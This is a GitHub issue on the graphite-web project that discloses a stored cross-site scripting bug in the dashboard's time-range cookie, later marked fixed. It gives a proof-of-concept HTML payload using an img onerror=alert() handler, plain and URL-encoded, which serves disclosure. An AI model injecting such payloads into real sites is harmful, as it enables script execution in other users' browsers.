graphite-project / graphite-web

A highly scalable real-time graphing system
http://graphite.readthedocs.org/
Apache License 2.0
5.88k stars 1.26k forks source link

[BUG] Stored XSS in cookie #2744

Open takyoni opened 2 years ago

takyoni commented 2 years ago

Describe the bug It's possible to execute JS on application context by modifying the "Relative Time Range"

To Reproduce Access to a graphite-web instance (i.e. http://localhostdashboard/). You don't really need data in it.

<noscript><p title="</noscript><img src=x onerror=alert() onmouseover=alert()>">"

s%3A%7B%22from%22%3A%22-2%3Cnoscript%3E%3Cp%20title%3D%5C%22%3C/noscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%29%20onmouseover%3Dalert%28%29%3E%5C%22%3E%5C%22hours%22%2C%22until%22%3A%22now%22%2C%22width%22%3A400%2C%22height%22%3A250%7D Expected behavior This can be solved by removing or ignoring requests containing the characters "<" ">" and/or other escaping/scripting characters. -> Sanitize the value before using it.

Screenshots Снимок экрана (2037) Снимок экрана (2038) Снимок экрана (2039)

Environment (please complete the following information):

Additional context Add any other context about the problem here.

deniszh commented 1 year ago

Fixed in #2785